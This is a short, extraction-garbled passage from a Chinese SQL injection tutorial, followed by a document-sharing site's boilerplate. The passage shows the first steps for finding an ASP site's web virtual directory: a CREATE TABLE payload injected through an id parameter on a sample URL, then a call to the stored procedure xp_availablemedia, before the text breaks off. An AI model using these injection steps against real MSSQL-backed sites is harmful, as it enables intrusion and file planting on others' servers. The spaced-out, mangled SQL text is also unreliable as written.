若以上方法不能通过,则可以遍历系统的目录结构,分析结果并发现w e b 虚 拟目录。过程如下: 1 ) 创建一个临时表t e m p h t t p :w w w t e s t c o m e x a s p ? i d = 2 0 :c r e a t et a b l et e m p ( i dn v a r c h a r ( 2 5 5 ) ,n u m ln v a r c h a r ( 2 5 5 ) ,n u m 2n v a r c h a r ( 2 5 5 ) ,n u m 3n v a r c h a r ( 2 5 5 ) ) :一 2 ) 可以利用x p _ a v a i l a b l e m e d i a 来获得当前

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论